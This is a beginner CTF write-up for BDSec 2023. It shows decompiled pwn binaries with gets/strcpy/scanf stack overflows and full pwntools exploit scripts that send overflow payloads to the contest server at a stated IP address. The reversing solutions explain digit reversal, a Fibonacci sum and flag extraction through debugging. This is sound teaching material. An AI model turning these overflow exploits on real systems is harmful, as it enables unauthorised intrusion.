CTF WriteUp: BDSec 2023

front

Over the weekend, I took part in BDSEC CTF 2023, a CTF event designed for beginners. It was a fun and approachable competition where I managed to solve various challenges.

All challenges can be found here

Pwn

All pwn challenge was typical and easy

Ghost

main func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
undefined8 main(void)

{
long in_FS_OFFSET;
char vuln_buff [64];
int target;
char buff [264];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
printCatArt();
puts("Ghostly Haunting: Mysterious Apparitions Spotted in Abandoned Mansion!");
fflush(stdout);
target = 0;
printf("ghost code: ");
gets(buff);
strcpy(vuln_buff,buff);
if (target == 0x44434241) {
puts("BDSEC{you_need_to_find_flag_in_server!}");
}
else {
puts("You have escaped the ghost!");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
  • vulnerable gets function being used that take the user input without checking bound
  • then strcpy function copy buff var’s data to vuln_buff (basically we control the vuln_buff)
  • then target var is being checked with 0x44434241
  • if its equal to that pre defined value print the flag or exit the program

as target variable is adjacent to vuln_buff we can overwrite it.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3

from pwn import *

elf = context.binary = ELF("./ghost", checksec=False)
libc = elf.libc

gdbscript='''
continue
'''

def conn(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([elf.path] + argv, *a, **kw)

def main():
#r = conn()
r = remote('139.144.184.150',4000)
matchMe = 0x44434241
payload = cyclic(64) + p64(matchMe)
r.sendline(payload)
r.interactive()

if __name__ == "__main__":
main()

Ghost.png

anyaForger

vuln func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void vuln(void)

{
char local_30 [32];
int local_10;

local_10 = 0x12345678;
printf("Enter the secret word: ");
fflush(stdout);
gets(local_30);
if (local_10 == -0x21524111) {
anyaforger();
fflush(stdout);
return;
}
puts("Sorry, that\'s not the secret word.");
/* WARNING: Subroutine does not return */
exit(1);
}

same as previous one

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3

from pwn import *

elf = context.binary = ELF("./beef",checksec=False)
libc = elf.libc

gdbscript='''
continue
'''

def conn(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([elf.path] + argv, *a, **kw)

def main():
#r = conn()
r = remote('139.144.184.150',31337)
negative_value = -0x21524111
#decimal_value = int(str(negative_value), 0)

payload = cyclic(32) + pack(negative_value)
r.sendline(payload)
r.interactive()


if __name__ == "__main__":
main()

anyaForger.png

callme

main func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void main(void)

{
undefined local_54 [64];
code *local_14;
undefined *puStack16;

puStack16 = &stack0x00000004;
local_14 = (code *)0x0;
printDogArt();
fflush(stdout);
puts("who let the dogs out:");
fflush(stdout);
__isoc99_scanf(&DAT_08048a94,local_54);
if (local_14 == (code *)0x0) {
puts("I tell the fellas start the name calling!");
}
else {
printf("Well, the party was nice, the party was @ %p\n",local_14);
fflush(stdout);
(*local_14)();
}
/* WARNING: Subroutine does not return */
exit(0);
}

hmm same as prev but this instead of any particular value we have to call the callme function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3

from pwn import *

elf = ELF("./callme")
libc = elf.libc
context.binary = elf

gdbscript='''
'''

def conn(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([elf.path] + argv, *a, **kw)

def main():
#r = conn()
r = remote('139.144.184.150',3333)
payload = cyclic(64)+ pack(0x0804875e)
r.sendline(payload)

r.interactive()

if __name__ == "__main__":
main()

callme.png

Rev

Lucky Number

main func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
undefined8 main(void)

{
long in_FS_OFFSET;
long expected;
long input;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
expected = 0;
puts(" _ _ _ _ _ ");
puts("| | | | | \\ | | | | ");
puts("| | _ _ ___| | ___ _ | \\| |_ _ _ __ ___ | |__ ___ _ __ ");
puts("| | | | | |/ __| |/ / | | | | . ` | | | | \'_ ` _ \\| \'_ \\ / _ \\ \'__| ");
puts("| |___| |_| | (__| <| |_| | | |\\ | |_| | | | | | | |_) | __/ | ");
puts("\\_____/\\__,_|\\___|_|\\_\\__, | \\_| \\_/\\__,_|_| |_| |_|_.__/ \\___|_| ");
puts(" __/ | ");
puts(" |___/ ");
puts(" ");
printf("Enter a number to check if its a lucky number: ");
__isoc99_scanf(&DAT_00102280,&input);
input = doSomething(input);
luckyNumberGen(&expected);
if (expected == input) {
puts("Wow ! You guessed the lucky number.");
puts("Now submit the lucky number to get your points");
}
else {
puts("Damn ! You are unlucky like me :( ");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
  • user input is being stored in input variable
  • doSomething function being called with input as arg
1
2
3
4
5
6
7
8
9
10
11
12
long doSomething(ulong param_1)

{
ulong i;
long local_10;

local_10 = 0;
for (i = param_1; i != 0; i = i / 10) {
local_10 = local_10 * 10 + i % 10;
}
return local_10;
}

the purpose of this function is to reverse the digits of the input unsigned long integer param_1 and return the result as a long integer. For example, if the input is 123, the function will return 321.

then luckyNumberGen function with expected variable as a arg, lets see

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void luckyNumberGen(long *param_1)

{
long lVar1;
long local_28;
long local_20;
ulong i;

local_28 = 0;
local_20 = 1;
*param_1 = 0;
for (i = 0; i < 50; i = i + 1) {
*param_1 = *param_1 + local_28;
lVar1 = local_20 + local_28;
local_28 = local_20;
local_20 = lVar1;
}
return;
}

the purpose of this code is to generate the first 50 numbers of the Fibonacci sequence and store the sum of these numbers in the memory location pointed to by param_1.

okay, lets see the output of this function

luckynumFunc.png

hmm got it, now we know our input have to go through doSomething function that reverse the user input.

we can also see this in run time while debugging

lucky_number.gif

it means we have to enter this number in reverse order

lucky_number.png

Not That Easy

this one was quite tricky i solved it after CTF

main func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
undefined8 main(void)

{
long in_FS_OFFSET;
int local_94;
undefined4 local_8d;
undefined2 local_89;
undefined4 local_87;
undefined3 uStack131;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined4 local_68;
undefined8 local_58;
undefined7 local_50;
undefined uStack73;
undefined7 uStack72;
undefined8 local_38;
undefined2 local_30;
undefined6 uStack46;
undefined2 uStack40;
undefined8 local_26;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_8d = 0x756e654d;
local_89 = 0x3a;
local_58 = 0x6568746f4d202e31;
local_50 = 0x206472616f6272;
uStack73 = 0x56;
uStack72 = 0x6e6f69737265;
local_87 = 0x52202e32;
uStack131 = 0x4d41;
local_78 = 0x617265704f202e33;
local_70 = 0x73795320676e6974;
local_68 = 0x6d6574;
local_80 = 0x67616c46202e34;
local_38 = 0x6f79207265746e45;
local_30 = 0x7275;
uStack46 = 0x63696f686320;
uStack40 = 0x2065;
local_26 = 0x203a7d342d317b;
banner(&local_8d,&local_58,&local_87,&local_78,&local_80,&local_38);
__isoc99_scanf(&DAT_00102359,&local_94);
if (local_94 == 4) {
puts("Not that easy :P");
goto LAB_00101898;
}
if (local_94 < 5) {
if (local_94 == 3) {
getOperatingSystem();
goto LAB_00101898;
}
if (local_94 < 4) {
if (local_94 == 1) {
getMotherboardVersion();
goto LAB_00101898;
}
if (local_94 == 2) {
getRAM();
goto LAB_00101898;
}
}
}
puts("Invalid choice!");
LAB_00101898:
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}

we don’t see any function that we should start reversing in main function as i ignored banner one thinking it should be used only for printing banner arts

but as we can see it being called with some local variable argument that holds some hex value, if we see banner function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
 1	
2 void banner(char *param_1,char *param_2,char *param_3,char *param_4,char *param_5,long param_6)
3
4 {
5 int iVar1;
6 time_t tVar2;
7 long in_FS_OFFSET;
8 char local_38 [4];
9 undefined local_34;
10 undefined local_33;
11 undefined local_32;
12 char local_31;
13 char local_30;
14 char local_2f;
15 undefined local_2e;
16 char local_2d;
17 char local_2c;
18 char local_2b;
19 undefined local_2a;
20 undefined local_29;
21 char local_28;
22 char local_27;
23 undefined local_26;
24 undefined local_25;
25 long local_10;
26
27 local_10 = *(long *)(in_FS_OFFSET + 0x28);
28 puts(" _ _ _ _______ _ _ ______ ");
29 puts(" | \\ | | | | |__ __| | | | | ____| ");
30 puts(" | \\| | ___ | |_ | | | |__ __ _| |_ | |__ __ _ ___ _ _ ");
31 puts(" | . ` |/ _ \\| __| | | | \'_ \\ / _` | __| | __| / _` / __| | | |");
32 puts(" | |\\ | (_) | |_ | | | | | | (_| | |_ | |___| (_| \\__ \\ |_| |");
33 puts(" |_| \\_|\\___/ \\__| |_| |_| |_|\\__,_|\\__| |______\\__,_|___/\\__, |");
34 puts(" __/ |");
35 puts(" A useless program developed by NomanProdhan |___/ ");
36 puts("\n");
37 puts(param_1);
38 puts(param_2);
39 local_2e = *(undefined *)(param_6 + 1);
40 puts(param_3);
41 local_27 = local_2e;
42 iVar1 = toupper((int)param_2[9]);
43 local_38[1] = (char)iVar1;
44 iVar1 = toupper((int)param_2[9]);
45 local_38[0] = (char)iVar1;
46 puts(param_4);
47 iVar1 = toupper((int)param_2[5]);
48 local_38[1] = (char)iVar1;
49 iVar1 = toupper((int)param_4[0xd]);
50 local_38[2] = (char)iVar1;
51 iVar1 = toupper((int)param_2[7]);
52 local_38[3] = (char)iVar1;
53 iVar1 = toupper((int)*(char *)(param_6 + 0xb));
54 local_34 = (undefined)iVar1;
55 puts(param_5);
56 iVar1 = toupper((int)*(char *)(param_6 + 0x12));
57 local_33 = (undefined)iVar1;
58 iVar1 = toupper((int)param_4[3]);
59 local_32 = (undefined)iVar1;
60 local_31 = param_2[4];
61 local_29 = local_38[3];
62 local_30 = param_4[4];
63 iVar1 = toupper((int)*(char *)(param_6 + 0x16));
64 local_25 = (undefined)iVar1;
65 local_2f = param_2[0x12];
66 local_2e = *(undefined *)(param_6 + 0x14);
67 local_2d = *param_2;
68 local_2c = param_4[8];
69 local_28 = param_3[4];
70 local_2b = param_4[0xd];
71 local_2a = local_2e;
72 local_27 = local_2f;
73 iVar1 = toupper((int)param_2[0xd]);
74 local_38[1] = (char)iVar1;
75 local_26 = *(undefined *)(param_6 + 6);
76 tVar2 = time((time_t *)0x0);
77 srand((uint)tVar2);
78 iVar1 = rand();
79 printf("Today\'s Lucky Number : %d\n",(ulong)(uint)(local_38[iVar1 % 0x13] * 2));
80 printf("%s",param_6);
81 if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
82 /* WARNING: Subroutine does not return */
83 __stack_chk_fail();
84 }
85 return;
86 }

initially parameter’s value being passed to local variables thinking that these all should be pieces of flag i run the debugger and start looking for any interesting string and indeed i got the flag

not_that_easy.png

in action

not_that_easy.gif

i’ll continue writing rest later 🥱